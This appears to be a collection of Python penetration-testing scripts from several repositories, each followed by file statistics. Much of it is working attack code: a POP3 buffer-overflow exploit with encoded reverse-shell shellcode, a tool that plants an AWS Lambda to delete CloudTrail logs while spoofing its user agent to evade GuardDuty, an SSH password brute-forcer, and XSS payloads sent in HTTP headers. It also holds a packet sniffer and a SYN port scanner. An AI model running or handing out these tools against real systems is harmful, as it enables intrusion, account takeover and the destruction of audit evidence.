print(client.recv(1024)) client.close() print("[*] Sent exploit to %s on port %s") % (rhost,rport)
43.679245
120
0.766793
cybersecurity-penetration-testing
import socket import os import struct import threading from ctypes import * # host to listen on host = "192.168.0.187" class IP(Structure): _fields_ = [ ("ihl", c_ubyte, 4), ("version", c_ubyte, 4), ("tos", c_ubyte), ("len", c_ushort), ("id", c_ushort), ("offset", c_ushort), ("ttl", c_ubyte), ("protocol_num", c_ubyte), ("sum", c_ushort), ("src", c_ulong), ("dst", c_ulong) ] def __new__(self, socket_buffer=None): return self.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer=None): # map protocol constants to their names self.protocol_map = {1:"ICMP", 6:"TCP", 17:"UDP"} # human readable IP addresses self.src_address = socket.inet_ntoa(struct.pack("<L",self.src)) self.dst_address = socket.inet_ntoa(struct.pack("<L",self.dst)) # human readable protocol try: self.protocol = self.protocol_map[self.protocol_num] except: self.protocol = str(self.protocol_num) class ICMP(Structure): _fields_ = [ ("type", c_ubyte), ("code", c_ubyte), ("checksum", c_ushort), ("unused", c_ushort), ("next_hop_mtu", c_ushort) ] def __new__(self, socket_buffer): return self.from_buffer_copy(socket_buffer) def __init__(self, socket_buffer): pass # create a raw socket and bind it to the public interface if os.name == "nt": socket_protocol = socket.IPPROTO_IP else: socket_protocol = socket.IPPROTO_ICMP sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) sniffer.bind((host, 0)) # we want the IP headers included in the capture sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # if we're on Windows we need to send some ioctls # to setup promiscuous mode if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) try: while True: # read in a single packet raw_buffer = sniffer.recvfrom(65565)[0] # create an IP header from the first 20 bytes of the buffer ip_header = IP(raw_buffer[0:20]) print "Protocol: %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address) # if it's ICMP we want it if ip_header.protocol == "ICMP": # calculate where our ICMP packet starts offset = ip_header.ihl * 4 buf = raw_buffer[offset:offset + sizeof(ICMP)] # create our ICMP structure icmp_header = ICMP(buf) print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code) # handle CTRL-C except KeyboardInterrupt: # if we're on Windows turn off promiscuous mode if os.name == "nt": sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
27.814159
107
0.520123
Python-Penetration-Testing-for-Developers
import socket def get_protnumber(prefix): return dict( (getattr(socket, a), a) for a in dir(socket) if a.startswith(prefix)) proto_fam = get_protnumber('AF_') types = get_protnumber('SOCK_') protocols = get_protnumber('IPPROTO_') for res in socket.getaddrinfo('www.thapar.edu', 'http'): family, socktype, proto, canonname, sockaddr = res print 'Family :', proto_fam[family] print 'Type :', types[socktype] print 'Protocol :', protocols[proto] print 'Canonical name:', canonname print 'Socket address:', sockaddr
26.7
56
0.676311
Hands-On-Penetration-Testing-with-Python
#!/usr/bin/python import socket buffer=["A"] counter=100 string="A"*2606 + "B"*4 +"C"*90 if 1: print"Fuzzing PASS with %s bytes" % len(string) s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.250.136',110)) data=s.recv(1024) #print str(data) s.send('USER root\r\n') data=s.recv(1024) print str(data) s.send('PASS ' + string + '\r\n') data=s.recv(1024) print str(data) print "done" #s.send('QUIT\r\n') #s.close()
18.259259
54
0.576108
PenetrationTestingScripts
from django import forms class ScanForm(forms.Form): target = forms.CharField(label='target', max_length=100)
22.2
60
0.747826
cybersecurity-penetration-testing
#!/usr/bin/python3 # # This script attempts to disrupt CloudTrail by planting a Lambda function that will delete every object created in S3 bucket # bound to a trail. As soon as CloudTrail creates a new object in S3 bucket, Lambda will kick in and delete that object. # No object, no logs. No logs, no Incident Response :-) # # One will need to pass AWS credentials to this tool. Also, the account affected should have at least following permissions: # - `iam:CreateRole` # - `iam:CreatePolicy` # - `iam:AttachRolePolicy` # - `lambda:CreateFunction` # - `lambda:AddPermission` # - `s3:PutBucketNotification` # # These are the changes to be introduced within a specified AWS account: # - IAM role will be created, by default with name: `cloudtrail_helper_role` # - IAM policy will be created, by default with name: `cloudtrail_helper_policy` # - Lambda function will be created, by default with name: `cloudtrail_helper_function` # - Put Event notification will be configured on affected CloudTrail S3 buckets. # # This tool will fail upon first execution with the following exception: # # ``` # [-] Could not create a Lambda function: An error occurred (InvalidParameterValueException) when calling the CreateFunction operation: # The role defined for the function cannot be assumed by Lambda. # ``` # # At the moment I did not find an explanation for that, but running the tool again with the same set of parameters - get the job done. # # Afterwards, one should see following logs in CloudWatch traces for planted Lambda function - if no `--disrupt` option was specified: # # ``` # [*] Following S3 object could be removed: (Bucket=90112981864022885796153088027941100000000000000000000000, # Key=cloudtrail/AWSLogs/712800000000/CloudTrail/us-west-2/2019/03/20/712800000000_CloudTrail_us-west-2_20190320T1000Z_oxxxxxxxxxxxxc.json.gz) # ``` # # Requirements: # - boto3 # - pytest # # Author: Mariusz Banach / mgeeky '19, <[email protected]> # import io import sys import time import json import boto3 import urllib import zipfile import argparse config = { 'debug' : False, 'region' : '', 'trail-name' : '', 'access-key' : '', 'secret-key' : '', 'token' : '', 'disrupt' : False, 'role-name' : '', 'policy-name' : '', 'function-name' : '', 'statement-id' : 'ID-1', } aws_policy_lambda_assume_role = { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] } aws_policy_for_lambda_role = { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "logs:CreateLogGroup", "logs:CreateLogStream", "logs:PutLogEvents" ], "Resource": "arn:aws:logs:*:*:*" }, { "Effect": "Allow", "Action": [ "s3:GetObject", "s3:PutObject", "s3:DeleteObject", "s3:DeleteObjectVersion" ], "Resource": [ "arn:aws:s3:::*" ] } ] } aws_s3_bucket_notification_configuration = { "LambdaFunctionConfigurations": [ { "LambdaFunctionArn": "<TO-BE-CREATED-LATER>", "Id": config['statement-id'], "Events": [ "s3:ObjectCreated:*" ] } ] } disruption_lambda_code_do_harm = ''' response = s3.delete_object(Bucket=bucket, Key=key) ''' disruption_lambda_code_no_harm = ''' print("[*] Following S3 object could be removed: (Bucket={}, Key={})".format(bucket, key)) ''' disruption_lambda_code = ''' import json import urllib import boto3 s3 = boto3.client('s3') def lambda_handler(event, context): try: bucket = event['Records'][0]['s3']['bucket']['name'] key = urllib.unquote_plus(event['Records'][0]['s3']['object']['key']).decode('utf8') {code} except Exception as e: print('S3 delete object failed: ' + str(e)) raise e ''' class Logger: @staticmethod def _out(x): sys.stdout.write(x + '\n') @staticmethod def out(x): Logger._out('[>] ' + x) @staticmethod def info(x): Logger._out('[.] ' + x) @staticmethod def fatal(x): sys.stdout.write('[!] ' + x + '\n') sys.exit(1) @staticmethod def fail(x): Logger._out('[-] ' + x) @staticmethod def ok(x): Logger._out('[+] ' + x) @staticmethod def dbg(x): if config['debug']: sys.stdout.write(f'[dbg] {x}\n') class CloudTrailDisruptor: session = None def __init__(self, region, access_key, secret_key, token = ''): self.region = region self.access_key = access_key self.secret_key = secret_key self.token = token self.session = None self.authenticate() def authenticate(self): try: self.session = None self.session = boto3.Session( aws_access_key_id = self.access_key, aws_secret_access_key = self.secret_key, aws_session_token = self.token, region_name = self.region ) except Exception as e: Logger.fail(f'Could obtain AWS session: {e}') raise e def get_session(self): return self.session def get_account_id(self): try: return self.session.client('sts').get_caller_identity()['Account'] except Exception as e: Logger.fatal(f'Could not Get Caller\'s identity: {e}') def find_trails_to_disrupt(self): cloudtrail = self.session.client('cloudtrail') trails = cloudtrail.describe_trails() disrupt = [] for trail in trails['trailList']: Logger.dbg(f"Checking whether trail {trail['Name']} is logging.") status = cloudtrail.get_trail_status(Name = trail['Name']) if status and status['IsLogging']: r = 'Yes' if trail['IsMultiRegionTrail'] else 'No' Logger.ok(f"Trail {trail['Name']} is actively logging (multi region? {r}).") disrupt.append(trail) return disrupt def create_role(self, role_name, role_policy, description = ''): iam = self.session.client('iam') policy = json.dumps(role_policy) roles = iam.list_roles() for role in roles['Roles']: if role['RoleName'] == role_name: Logger.fail(f'Role with name: {role_name} already exists.') Logger.dbg("Returning: {}".format(str({'Role':role}))) return {'Role' : role} Logger.info(f'Creating a role named: {role_name}') Logger.dbg(f'Policy to be used in role creation:\n{policy}') out = {} try: out = iam.create_role( RoleName = role_name, AssumeRolePolicyDocument = policy, Description = description ) except Exception as e: Logger.fatal(f'Could not create a role for Lambda: {e}') # Due to fatal, code will not reach this path return False Logger.ok(f'Role created.') Logger.dbg(f'Returned: {out}') return out def create_role_policy(self, policy_name, policy_document, description = ''): iam = self.session.client('iam') policy = json.dumps(policy_document) policies = iam.list_policies(Scope = 'All') for p in policies['Policies']: if p['PolicyName'] == policy_name: Logger.fail(f'Policy with name: {policy_name} already exists.') return {'Policy' : p} Logger.info(f'Creating a policy named: {policy_name}') Logger.dbg(f'Policy to be used in role creation:\n{policy}') out = {} try: out = iam.create_policy( PolicyName = policy_name, PolicyDocument = policy, Description = description ) except Exception as e: Logger.fatal(f'Could not create a policy for that lambda role: {e}') # Due to fatal, code will not reach this path return False Logger.ok(f'Policy created.') Logger.dbg(f'Returned: {out}') return out def attach_role_policy(self, role_name, policy_arn): Logger.info(f'Attaching policy ({policy_arn}) to the role {role_name}') iam = self.session.client('iam') attached = iam.list_attached_role_policies(RoleName = role_name) for policy in attached['AttachedPolicies']: if policy['PolicyArn'] == policy_arn: Logger.fail(f'Policy is already attached.') return True try: iam.attach_role_policy( RoleName = role_name, PolicyArn = policy_arn ) except Exception as e: Logger.fatal(f'Could not create a policy for that lambda role: {e}') # Due to fatal, code will not reach this path return False Logger.ok(f'Policy attached.') return True # Source: https://stackoverflow.com/a/51899017 @staticmethod def create_in_mem_zip_archive(file_map, files): buf = io.BytesIO() Logger.dbg("Building zip file: " + str(files)) with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zfh: for file_name in files: file_blob = file_map.get(file_name) if file_blob is None: Logger.fail("Missing file {} from files".format(file_name)) continue try: info = zipfile.ZipInfo(file_name) info.date_time = time.localtime() info.compress_type = zipfile.ZIP_DEFLATED info.external_attr = 0o777 << 16 # give full access zfh.writestr(info, file_blob) except Exception as ex: raise ex Logger.fail("Error reading file: " + file_name + ", error: " + ex.message) buf.seek(0) return buf.read() def create_lambda_function(self, function_name, role_name, code, description = ''): awslambda = self.session.client('lambda') lambdacode = CloudTrailDisruptor.create_in_mem_zip_archive( {'lambda_function.py': code}, {'lambda_function.py'} ) funcs = awslambda.list_functions() for f in funcs['Functions']: if f['FunctionName'] == function_name: Logger.fail(f'Function with name: {function_name} already exists. Removing old one.') awslambda.delete_function(FunctionName = function_name) Logger.ok('Old function was removed.') break Logger.info(f'Creating a lambda function named: {function_name} on Role: {role_name}') Logger.dbg(f'Lambda code to be used:\n{code}') out = {} try: out = awslambda.create_function( FunctionName = function_name, Runtime = 'python2.7', Role = role_name, Handler = 'lambda_function.lambda_handler', Code = { 'ZipFile' : lambdacode, }, Description = description, Timeout = 30, Publish = True ) Logger.ok(f'Function created.') except Exception as e: Logger.fail(f'Could not create a Lambda function: {e}') if 'The role defined for the function cannot be assumed by Lambda.' in str(e): Logger.info('====> This is a known bug (?). Running again this program should get the job done.') Logger.dbg(f'Returned: {out}') return out def permit_function_invoke(self, function_name, statement_id, bucket_arn): awslambda = self.session.client('lambda') Logger.info(f'Adding invoke permission to func: {function_name} on S3 bucket: {bucket_arn}') try: out = awslambda.add_permission( FunctionName = function_name, Action = 'lambda:InvokeFunction', Principal = 's3.amazonaws.com', SourceArn = bucket_arn, StatementId = statement_id ) except Exception as e: Logger.fail(f'Could not add permission to the Lambda: {e}. Continuing anyway.') return out def set_s3_put_notification(self, bucket, notification_configuration): s3 = self.session.client('s3') arn = notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn'] conf = s3.get_bucket_notification_configuration(Bucket = bucket) if 'LambdaFunctionConfigurations' in conf.keys(): for configuration in conf['LambdaFunctionConfigurations']: if configuration['Id'] == config['statement-id'] and arn == configuration['LambdaFunctionArn']: Logger.fail('S3 Put notification already configured for that function on that S3 bucket.') return True Logger.info(f'Putting a bucket notification configuration to {bucket}, ARN: {arn}') Logger.dbg(f'Notification used :\n{notification_configuration}') out = {} try: out = s3.put_bucket_notification_configuration( Bucket = bucket, NotificationConfiguration = notification_configuration ) except Exception as e: Logger.fail(f'Could not put bucket notification configuration: {e}') return False return True def parseOptions(argv): global config print(''' :: AWS CloudTrail disruption via S3 Put notification to Lambda Disrupts AWS CloudTrail logging by planting Lambda that deletes S3 objects upon their creation Mariusz Banach / mgeeky '19, <[email protected]> ''') parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options] <region> [trail_name]') parser._action_groups.pop() required = parser.add_argument_group('required arguments') optional = parser.add_argument_group('optional arguments') required.add_argument('region', type=str, help = 'AWS region to use.') required.add_argument('--access-key', type=str, help = 'AWS Access Key ID') required.add_argument('--secret-key', type=str, help = 'AWS Access Key ID') optional.add_argument('--token', type=str, help = 'AWS temporary session token') optional.add_argument('trail_name', type=str, default = 'all', nargs='?', help = 'CloudTrail name that you want to disrupt. If not specified, will disrupt every actively logging trail.') optional.add_argument('--disrupt', action='store_true', default = False, help = 'By default, this tool will install Lambda that is only logging that it could remove S3 objects. By using this switch, there is going to be Lambda introduced that actually deletes objects.') optional.add_argument('--role-name', type=str, default='cloudtrail_helper_role', help = 'name for AWS Lambda role') optional.add_argument('--policy-name', type=str, default='cloudtrail_helper_policy', help = 'name for a policy for that Lambda role') optional.add_argument('--function-name', type=str, default='cloudtrail_helper_function', help = 'name for AWS Lambda function') parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') args = parser.parse_args() config['debug'] = args.debug config['access-key'] = args.access_key config['secret-key'] = args.secret_key config['token'] = args.token config['region'] = args.region config['disrupt'] = args.disrupt config['trail-name'] = args.trail_name config['role-name'] = args.role_name config['policy-name'] = args.policy_name config['function-name'] = args.function_name if not args.access_key or not args.secret_key: Logger.fatal("Please provide AWS Access Key, Secret Key and optionally Session Token") return args def monkeyPatchBotocoreUserAgent(): ''' This is to avoid triggering GuardDuty 'PenTest:IAMUser/KaliLinux' alerts Source: https://www.thesubtlety.com/post/patching-boto3-useragent/ ''' import sys import boto3 import botocore try: from _pytest.monkeypatch import MonkeyPatch except (ImportError, ModuleNotFoundError) as e: print('[!] Please install "pytest" first: pip3 install pytest') print('\tthis will be used to patch-up boto3 library to avoid GuardDuty Kali detection') sys.exit(0) monkeypatch = MonkeyPatch() def my_user_agent(self): return "Boto3/1.9.89 Python/2.7.12 Linux/4.2.0-42-generic" monkeypatch.setattr(botocore.session.Session, 'user_agent', my_user_agent) def main(argv): opts = parseOptions(argv) if not opts: Logger.err('Options parsing failed.') return False monkeyPatchBotocoreUserAgent() dis = CloudTrailDisruptor( config['region'], config['access-key'], config['secret-key'], config['token'] ) account_id = dis.get_account_id() Logger.info(f'Will be working on Account ID: {account_id}') Logger.info('Step 1: Determine trail to disrupt') trails = [] if config['trail-name'] and config['trail-name'] != 'all': Logger.ok(f"Will use trail specified by user: {config['trail-name']}") trail_name = config['trail-name'] ct = dis.get_session().client('cloudtrail') t = ct.describe_trails(trailNameList=[trail_name,]) trails.append(t[0]) else: trails.extend(dis.find_trails_to_disrupt()) Logger.info('Trails intended to be disrupted:') for trail in trails: Logger._out(f'\t- {trail["Name"]}') Logger._out('') Logger.info('Step 2: Create a role to be assumed by planted Lambda') created_role = dis.create_role(config['role-name'], aws_policy_lambda_assume_role) if not created_role: Logger.fatal('Could not create a lambda role.') Logger.info('Step 3: Create a policy for that role') policy = dis.create_role_policy(config['policy-name'], aws_policy_for_lambda_role) if not policy: Logger.fatal('Could not create a policy for lambda role.') Logger.info('Step 4: Attach policy to the role') if not dis.attach_role_policy(config['role-name'], policy['Policy']['Arn']): Logger.fatal('Could not attach a policy to the lambda role.') Logger.info('Step 5: Create Lambda function') code = '' if config['disrupt']: code = disruption_lambda_code.format(code = disruption_lambda_code_do_harm) Logger.info('\tUSING DISRUPTIVE LAMBDA!') else: code = disruption_lambda_code.format(code = disruption_lambda_code_no_harm) Logger.info('\tUsing non-disruptive lambda.') if not dis.create_lambda_function(config['function-name'], created_role['Role']['Arn'], code): Logger.fatal('Could not create a Lambda function.') Logger.info('Step 6: Permit function to be invoked on all trails') for trail in trails: bucket_arn = f"arn:aws:s3:::{trail['S3BucketName']}" dis.permit_function_invoke(config['function-name'], config['statement-id'], bucket_arn) Logger.info('Step 7: Configure trail bucket\'s put notification') global aws_s3_bucket_notification_configuration regions = [config['region'], ] for region in regions: arn = f"arn:aws:lambda:{region}:{account_id}:function:{config['function-name']}" aws_s3_bucket_notification_configuration['LambdaFunctionConfigurations'][0]['LambdaFunctionArn'] = arn for trail in trails: dis.set_s3_put_notification( trail['S3BucketName'], aws_s3_bucket_notification_configuration ) print("[+] Installed CloudTrail's S3 bucket disruption Lambda.") if __name__ == '__main__': main(sys.argv)
33.827586
274
0.60404
cybersecurity-penetration-testing
import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) import sys from scapy.all import * if len(sys.argv) !=4: print "usage: %s target startport endport" % (sys.argv[0]) sys.exit(0) target = str(sys.argv[1]) startport = int(sys.argv[2]) endport = int(sys.argv[3]) print "Scanning "+target+" for open TCP ports\n" if startport==endport: endport+=1 for x in range(startport,endport): packet = IP(dst=target)/TCP(dport=x,flags="S") response = sr1(packet,timeout=0.5,verbose=0) if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12: print "Port "+str(x)+" is open!" sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),timeout=0.5, verbose=0) print "Scan complete!\n"
29.541667
81
0.689891
Hands-On-Penetration-Testing-with-Python
import struct import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buf = "" buf += "\x99\x98\xf5\x41\x48\x9f\x2f\xfc\x9f\xf8\x48\x31\xc9" buf += "\x48\x81\xe9\xd7\xff\xff\xff\x48\x8d\x05\xef\xff\xff" buf += "\xff\x48\xbb\xb2\xa2\x05\x72\xca\x9c\x6b\xde\x48\x31" buf += "\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\x4e\x4a\x87" buf += "\x72\xca\x9c\x0b\x57\x57\x93\xc5\x16\x41\xcc\x5b\x55" buf += "\xe0\xae\x8e\x20\xde\x17\x19\xf6\xbd\x15\x4f\x54\xfb" buf += "\x63\xc7\xe2\xd3\xde\x07\x5e\xea\x5d\xa4\xd3\xb3\x65" buf += "\xe7\x80\x98\xcb\xe0\x8c\xa2\x29\x4f\x4e\x41\xd0\x7a" buf += "\xa6\x51\xea\x04\xa3\x9b\x17\x32\xfe\xb3\x71\x8e\x3b" buf += "\xd2\x7f\x51\x97\x39\x96\x8e\x73\x1c\xad\x94\x72\x73" buf += "\x6d\x08\x73\x0d\xa4\x8b\xab\x44\xa1\x78\x8a\xf1\xe1" buf += "\x4f\xab\x56\xfa\x8e\x2a\xee\x9d\xb8\xb8\x39\xae\x4e" buf += "\xf9\x92\x80\x6a\x0d\x39\xa6\x8e\x73\x1a\x15\x2f\xfa" buf += "\x96\xf9\x5e\x13\x93\xc6\x3a\x21\x52\xfd\x5a\x28\x41" buf += "\x8e\x80\x53\xef\xca\x36\x40\xca\x9c\x03\xa9\xc1\x90" buf += "\x5a\x26\xa2\xd0\x1c\xf8\xb5\x5d\xd0\xca\x5a\x9d\x6b" buf += "\xde\x9b\x66\x51\x22\xa2\xb5\xeb\xb5\xb2\x5d\xd0\x22" buf += "\x9a\xcc\x3b\x9e\xe2\xe2\x55\x1a\x20\x93\xb4\x3e\x4d" buf += "\x77\x92\x18\xcf\xf4\xab\x76\x48\x3f\x6d\x70\xca\x99" buf += "\xc8\x57\x54\xc8\x15\x24\x9d\xf4\xf2\x7b\xc6\xc3\xfa" buf += "\xa7\x4f\x5c\x1f\xd2\x4d\xec\x0d\x07\x26\xf4\x9b\x6b" buf += "\x10\xf4\xfa\xa7\xa2\xff\x06\xba\xb2\x2b\xe6\x25\x9d" buf += "\xcb\x5a\x28\xd8\xb0\x5c\x24\x28\x61\x0d\x19\xf6\x86" buf += "\x39\x73\xcb\x11\x2f\xfa\xa2\x64\x05\x36\x9e\xcc\x3d" buf += "\x88\xe4\xe4\x53\x3c\x9c\xca\x38\x88\xda\xdb\xc9\x4d" buf += "\x4c\x63\xbe\x57\x52\xec\x53\x34\x35\xac\x03\xd6\x35" buf += "\xbf\x65\x8d\x1f\x27\x9b\x6b\x10\xf4\x6d\xd4\x5f\x21" buf += "\xf6\x21\x67\x9e\x03\x0e\xc0\x1c\x90\x3e\xc7\xa7\xbe" buf += "\x35\xd9\xee\x04\xb4\xb2\xf1\xfa\xa7\xca\x9c\x6b\xde" buffer = '\x41' * 2606 try: print "\nSending payload" s.connect(('192.168.250.158',110)) data = s.recv(1024) s.send('USER root' +'\r\n') data = s.recv(1024) print(str(data)) s.send('PASS ' + buffer + '\x8f\x35\x4a\x5f'+ buf + '\r\n') data = s.recv(1024) print(str(data)) s.close() print "\nDone! see rev shell on 1433" except: print "Could not connect to POP3!"
44.215686
63
0.659436
cybersecurity-penetration-testing
import time from bluetooth import * from datetime import datetime def findTgt(tgtName): foundDevs = discover_devices(lookup_names=True) for (addr, name) in foundDevs: if tgtName == name: print '[*] Found Target Device ' + tgtName print '[+] With MAC Address: ' + addr print '[+] Time is: '+str(datetime.now()) tgtName = 'TJ iPhone' while True: print '[-] Scanning for Bluetooth Device: ' + tgtName findTgt(tgtName) time.sleep(5)
23.9
57
0.62173
Nojle
###Author: Omar Rajab ###Company: BlackHatch import pxssh import os import time os.system("clear") print("""\033[1;31m SSSSSSSSSSSSSSS SSSSSSSSSSSSSSS HHHHHHHHH HHHHHHHHH CCCCCCCCCCCCCRRRRRRRRRRRRRRRRR AAA CCCCCCCCCCCCCKKKKKKKKK KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRRRRRRRRRRR SS:::::::::::::::S SS:::::::::::::::SH:::::::H H:::::::H CCC::::::::::::CR::::::::::::::::R A:::A CCC::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::::::::::::R S:::::SSSSSS::::::SS:::::SSSSSS::::::SH:::::::H H:::::::H CC:::::::::::::::CR::::::RRRRRR:::::R A:::::A CC:::::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::RRRRRR:::::R S:::::S SSSSSSSS:::::S SSSSSSSHH::::::H H::::::HHC:::::CCCCCCCC::::CRR:::::R R:::::R A:::::::A C:::::CCCCCCCC::::CK:::::::K K::::::KEE::::::EEEEEEEEE::::ERR:::::R R:::::R S:::::S S:::::S H:::::H H:::::H C:::::C CCCCCC R::::R R:::::R A:::::::::A C:::::C CCCCCCKK::::::K K:::::KKK E:::::E EEEEEE R::::R R:::::R S:::::S S:::::S H:::::H H:::::HC:::::C R::::R R:::::R A:::::A:::::A C:::::C K:::::K K:::::K E:::::E R::::R R:::::R S::::SSSS S::::SSSS H::::::HHHHH::::::HC:::::C R::::RRRRRR:::::R A:::::A A:::::A C:::::C K::::::K:::::K E::::::EEEEEEEEEE R::::RRRRRR:::::R SS::::::SSSSS SS::::::SSSSS H:::::::::::::::::HC:::::C R:::::::::::::RR A:::::A A:::::A C:::::C K:::::::::::K E:::::::::::::::E R:::::::::::::RR SSS::::::::SS SSS::::::::SS H:::::::::::::::::HC:::::C R::::RRRRRR:::::R A:::::A A:::::A C:::::C K:::::::::::K E:::::::::::::::E R::::RRRRRR:::::R SSSSSS::::S SSSSSS::::S H::::::HHHHH::::::HC:::::C R::::R R:::::R A:::::AAAAAAAAA:::::A C:::::C K::::::K:::::K E::::::EEEEEEEEEE R::::R R:::::R S:::::S S:::::S H:::::H H:::::HC:::::C R::::R R:::::R A:::::::::::::::::::::AC:::::C K:::::K K:::::K E:::::E R::::R R:::::R S:::::S S:::::S H:::::H H:::::H C:::::C CCCCCC R::::R R:::::R A:::::AAAAAAAAAAAAA:::::AC:::::C CCCCCCKK::::::K K:::::KKK E:::::E EEEEEE R::::R R:::::R SSSSSSS S:::::SSSSSSSS S:::::SHH::::::H H::::::HHC:::::CCCCCCCC::::CRR:::::R R:::::R A:::::A A:::::AC:::::CCCCCCCC::::CK:::::::K K::::::KEE::::::EEEEEEEE:::::ERR:::::R R:::::R S::::::SSSSSS:::::SS::::::SSSSSS:::::SH:::::::H H:::::::H CC:::::::::::::::CR::::::R R:::::R A:::::A A:::::ACC:::::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::R R:::::R S:::::::::::::::SS S:::::::::::::::SS H:::::::H H:::::::H CCC::::::::::::CR::::::R R:::::R A:::::A A:::::A CCC::::::::::::CK:::::::K K:::::KE::::::::::::::::::::ER::::::R R:::::R SSSSSSSSSSSSSSS SSSSSSSSSSSSSSS HHHHHHHHH HHHHHHHHH CCCCCCCCCCCCCRRRRRRRR RRRRRRRAAAAAAA AAAAAAA CCCCCCCCCCCCCKKKKKKKKK KKKKKKKEEEEEEEEEEEEEEEEEEEEEERRRRRRRR RRRRRRR """) print("\033[1;33mA Simple SSH Bruteforce Tool") print("\033[1;33mAuthor: Omar Rajab Security Researcher") print("\033[1;33mEmail:[email protected]") print("\033[1;33mCompany: BlackHatch") print("\033[1;33mVersion: 1.0") print("\033[1;33mLicensed by: MIT") host = raw_input("Enter IP Address:") user = raw_input("Enter Username:") dict1 = raw_input("Enter Dictionary File Location:") print("\033[1;31mNOTE: PRESS CTRL+C WHEN YOU SEE PASSWORD FOUND") def connect(host, user, dict1): errors=0 try: s = pxssh.pxssh() s.login(host, user, dict1) print('\033[1;32mPassword Found: ' + dict1+"\033[1;31m") return s except Exception as e: if errors > 5: print "!!! Too Many Socket Timeouts" exit(0) elif 'read_nonblocking' in str(e): Fails += 1 time.sleep(5) return connect(host, user, dict1) elif 'synchronize with original prompt' in str(e): time.sleep(1) return connect(host, user, dict1) return None if host and user and dict1: with open(dict1, 'r') as infile: for line in infile: password = line.strip('\r\n') print("Testing: " + str(password)) connect(host, user, password)
79.9
212
0.281873
Effective-Python-Penetration-Testing
import wx # Create app instance wx.App() screen = wx.ScreenDC() size = screen.GetSize() bmp = wx.EmptyBitmap(size[0], size[1]) mem = wx.MemoryDC(bmp) mem.Blit(0, 0, size[0], size[1], screen, 0, 0) del mem # Release bitmap bmp.SaveFile('screenshot.png', wx.BITMAP_TYPE_PNG)
24.090909
50
0.690909
cybersecurity-penetration-testing
#!/usr/bin/python # -*- coding: utf-8 -*- import dpkt import socket import pygeoip import optparse gi = pygeoip.GeoIP('/opt/GeoIP/Geo.dat') def retKML(ip): rec = gi.record_by_name(ip) try: longitude = rec['longitude'] latitude = rec['latitude'] kml = ( '<Placemark>\n' '<name>%s</name>\n' '<Point>\n' '<coordinates>%6f,%6f</coordinates>\n' '</Point>\n' '</Placemark>\n' ) %(ip,longitude, latitude) return kml except: return '' def plotIPs(pcap): kmlPts = '' for (ts, buf) in pcap: try: eth = dpkt.ethernet.Ethernet(buf) ip = eth.data src = socket.inet_ntoa(ip.src) srcKML = retKML(src) dst = socket.inet_ntoa(ip.dst) dstKML = retKML(dst) kmlPts = kmlPts + srcKML + dstKML except: pass return kmlPts def main(): parser = optparse.OptionParser('usage %prog -p <pcap file>') parser.add_option('-p', dest='pcapFile', type='string',\ help='specify pcap filename') (options, args) = parser.parse_args() if options.pcapFile == None: print parser.usage exit(0) pcapFile = options.pcapFile f = open(pcapFile) pcap = dpkt.pcap.Reader(f) kmlheader = '<?xml version="1.0" encoding="UTF-8"?>\ \n<kml xmlns="http://www.opengis.net/kml/2.2">\n<Document>\n' kmlfooter = '</Document>\n</kml>\n' kmldoc=kmlheader+plotIPs(pcap)+kmlfooter print kmldoc if __name__ == '__main__': main()
23.727273
65
0.531576
Python-Penetration-Testing-for-Developers
import socket rmip ='127.0.0.1' portlist = [22,23,80,912,135,445,20] for port in portlist: sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) result = sock.connect_ex((rmip,port)) print port,":", result sock.close()
18
55
0.700441
owtf
""" ACTIVE Plugin for Testing for HTTP Methods and XST (OWASP-CM-008) """ from owtf.managers.resource import get_resources from owtf.managers.target import target_manager from owtf.plugin.helper import plugin_helper DESCRIPTION = "Active probing for HTTP methods" def run(PluginInfo): URL = target_manager.get_val("top_url") # TODO: PUT not working right yet Content = plugin_helper.TransactionTableForURL(True, URL, Method="TRACE") Content += plugin_helper.CommandDump( "Test Command", "Output", get_resources("ActiveHTTPMethods"), PluginInfo, Content, ) return Content
26.782609
77
0.697492
Python-Penetration-Testing-for-Developers
import requests import sys url = sys.argv[1] payload = ['<script>alert(1);</script>', '<scrscriptipt>alert(1);</scrscriptipt>', '<BODY ONLOAD=alert(1)>'] headers ={} r = requests.head(url) for payload in payloads: for header in r.headers: headers[header] = payload req = requests.post(url, headers=headers)
27.636364
108
0.697452
PenTesting
